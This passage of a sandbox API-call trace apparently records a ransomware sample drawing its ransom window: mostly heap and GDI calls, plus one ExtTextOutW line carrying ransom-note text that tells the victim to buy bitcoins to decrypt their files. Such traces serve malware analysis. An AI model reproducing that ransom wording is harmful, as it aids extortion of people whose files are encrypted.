[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503ee8 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501418 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013f0 | out: hHeap=0x450000) returned 1
[0111.231] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013c8 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e3f38 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd9a0 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd990 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd980 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd970 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493620 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503788 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4340 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4410 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e49b0 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e45a8 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4748 | out: hHeap=0x450000) returned 1
[0111.232] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e4818 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497fd8 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500948 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509608 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5006f0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] IntersectRect (in: lprcDst=0x1c9514, lprcSrc1=0x1c9514, lprcSrc2=0x1c9424 | out: lprcDst=0x1c9514) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9534 | out: lprcDst=0x4967b8) returned 1
[0111.233] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9554 | out: lprcDst=0x4967b8) returned 1
[0111.233] IntersectRect (in: lprcDst=0x1c9054, lprcSrc1=0x1c9054, lprcSrc2=0x1c8f08 | out: lprcDst=0x1c9054) returned 1
[0111.233] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.233] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9054 | out: lprcDst=0x4967b8) returned 1
[0111.233] IntersectRect (in: lprcDst=0x1c8fb8, lprcSrc1=0x1c8fb8, lprcSrc2=0x4967c8 | out: lprcDst=0x1c8fb8) returned 1
[0111.233] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c8f6c | out: lprcDst=0x4967b8) returned 1
[0111.233] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.233] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.233] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.234] LsSetDoc () returned 0x0
[0111.234] LsCreateLine () returned 0x0
[0111.234] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.234] LsDisplayLine () returned 0x0
[0111.234] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x18a002e
[0111.234] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.234] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.234] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.234] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.234] _CIatan2 () returned 0x20
[0111.234] _CIatan2 () returned 0x20
[0111.234] ExtTextOutW (hdc=0x90101e7, x=32, y=96, options=0x4, lprect=0x1c8160, lpString="How to obtain Bitcoinsnet/buy_bitcoins Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x16, lpDx=0x1c8198) returned 1
[0111.234] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.234] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.234] LsDestroyLine () returned 0x0
[0111.234] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.234] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0111.234] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.234] BitBlt (hdc=0x1401007f, x=0, y=452, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0111.235] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.235] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.235] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0111.235] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.235] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0111.235] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0111.235] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.235] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.235] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1204020f
[0111.235] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.235] SelectClipRgn (hdc=0x90101e7, hrgn=0x1204020f) returned 2
[0111.235] DeleteObject (ho=0x1204020f) returned 1
[0111.235] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0111.235] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0111.235] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0111.235] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0111.235] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0111.235] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0111.235] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0111.235] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0111.235] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.235] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0111.235] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0111.235] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0111.235] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.236] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0111.236] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0111.236] GetStockObject (i=8) returned 0x1b00016
[0111.236] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.236] GetROP2 (hdc=0x90101e7) returned 13
[0111.236] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.236] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0111.236] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.236] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.236] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0111.236] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0111.236] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0111.236] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.236] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.236] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.236] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0111.236] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.236] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.236] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.236] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.236] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.236] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.237] LsGetRubyLsimethods () returned 0x0
[0111.237] LsGetTatenakayokoLsimethods () returned 0x0
[0111.237] LsGetHihLsimethods () returned 0x0
[0111.237] LsGetWarichuLsimethods () returned 0x0
[0111.237] LsGetReverseLsimethods () returned 0x0
[0111.237] LsCreateContext () returned 0x0
[0111.237] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x509608
[0111.237] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0111.237] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4e1068
[0111.237] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0111.237] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x509c80
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013c8
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x493620
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503ee8
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013f0
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501418
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501440
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501468
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x4e3f38
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd970
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd980
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd990
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd9a0
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x503788
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0111.238] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4954a0
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x500948
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4340
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4410
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497fd8
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x4e45a8
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x4e4748
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x4e4818
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0111.239] LsSetModWidthPairs () returned 0x0
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x4e49b0
[0111.239] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.239] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.239] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.240] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503f30
[0111.240] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.240] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.240] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.240] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.240] IsRectEmpty (lprc=0x503f40) returned 0
[0111.240] IsRectEmpty (lprc=0x503f50) returned 0
[0111.240] IsRectEmpty (lprc=0x503f60) returned 0
[0111.240] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0111.240] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0111.240] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0111.240] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0111.240] GetStockObject (i=8) returned 0x1b00016
[0111.240] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.240] GetROP2 (hdc=0x90101e7) returned 13
[0111.240] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.240] Rectangle (hdc=0x90101e7, left=12, top=0, right=1296, bottom=76) returned 1
[0111.241] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.241] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.241] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0111.241] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.241] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1304020f
[0111.241] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.241] SelectClipRgn (hdc=0x90101e7, hrgn=0x1304020f) returned 2
[0111.241] DeleteObject (ho=0x1304020f) returned 1
[0111.241] _CIsqrt () returned 0x3f1a027f
[0111.241] _CIsqrt () returned 0x3f1a027f
[0111.241] _CIatan2 () returned 0x20
[0111.241] _CIatan2 () returned 0x20
[0111.241] GetStockObject (i=8) returned 0x1b00016
[0111.241] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.241] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0111.241] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0111.241] UnrealizeObject (h=0x61001e2) returned 1
[0111.241] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-589, lppt=0x0 | out: lppt=0x0) returned 1
[0111.241] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.241] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.241] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.241] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.241] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0111.241] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0111.241] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.242] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.242] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.242] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.242] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.242] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.242] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.242] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.242] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.243] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.243] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.243] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.243] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.243] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.243] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503f30, Size=0x60) returned 0x49f1f8
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49f1f8, Size=0x90) returned 0x4936c8
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.244] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.245] IsRectEmpty (lprc=0x4936d8) returned 0
[0111.245] IsRectEmpty (lprc=0x4936e8) returned 0
[0111.245] IsRectEmpty (lprc=0x4936f8) returned 0
[0111.245] IsRectEmpty (lprc=0x493708) returned 0
[0111.245] IsRectEmpty (lprc=0x493718) returned 0
[0111.245] IsRectEmpty (lprc=0x493728) returned 0
[0111.245] IsRectEmpty (lprc=0x493738) returned 0
[0111.245] IsRectEmpty (lprc=0x493748) returned 0
[0111.245] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0111.245] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0111.245] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0111.245] SelectObject (hdc=0x90101e7, h=0x81001d5) returned 0x1900010
[0111.245] GetStockObject (i=8) returned 0x1b00016
[0111.245] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.245] GetROP2 (hdc=0x90101e7) returned 13
[0111.245] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.245] Rectangle (hdc=0x90101e7, left=12, top=90, right=1296, bottom=151) returned 1
[0111.245] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.245] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.245] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x81001d5
[0111.245] _CIsqrt () returned 0x3f1a027f
[0111.245] _CIsqrt () returned 0x3f1a027f
[0111.245] _CIatan2 () returned 0x20
[0111.245] _CIatan2 () returned 0x20
[0111.245] GetStockObject (i=8) returned 0x1b00016
[0111.245] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.245] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0111.245] SelectObject (hdc=0x90101e7, h=0x51001d9) returned 0x1900010
[0111.245] UnrealizeObject (h=0x51001d9) returned 1
[0111.245] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-590, lppt=0x0 | out: lppt=0x0) returned 1
[0111.245] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.245] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.245] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0111.245] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0111.246] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0111.246] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51001d9
[0111.246] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.246] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.246] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.246] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.247] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.247] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.247] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.247] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
